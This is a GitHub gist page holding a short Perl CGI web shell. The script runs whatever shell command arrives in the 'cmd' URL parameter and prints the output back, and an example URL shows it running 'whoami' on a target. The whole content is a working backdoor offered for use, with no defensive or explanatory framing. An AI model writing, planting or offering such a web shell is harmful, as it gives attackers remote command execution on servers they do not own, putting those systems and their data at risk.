Skip to content

Instantly share code, notes, and snippets.

@DarkCoderSc
Created October 25, 2019 14:32
Show Gist options
  • Save DarkCoderSc/427ef5cbca525ede7f5c1a6cef61622f to your computer and use it in GitHub Desktop.
Save DarkCoderSc/427ef5cbca525ede7f5c1a6cef61622f to your computer and use it in GitHub Desktop.
example : http://targeturl/cmd_perl.cgi?cmd=whoami
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw();
my $cgi = CGI->new();
print "Cache-Control: no-cache\n";
print "Content-type: text/plain\n\n";
my $cmd = $cgi->param("cmd");
if (!$cmd) {
$cmd = "whoami";
}
my $output = `$cmd`;
if ($output) {
print $output;
} else {
print "No output...";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment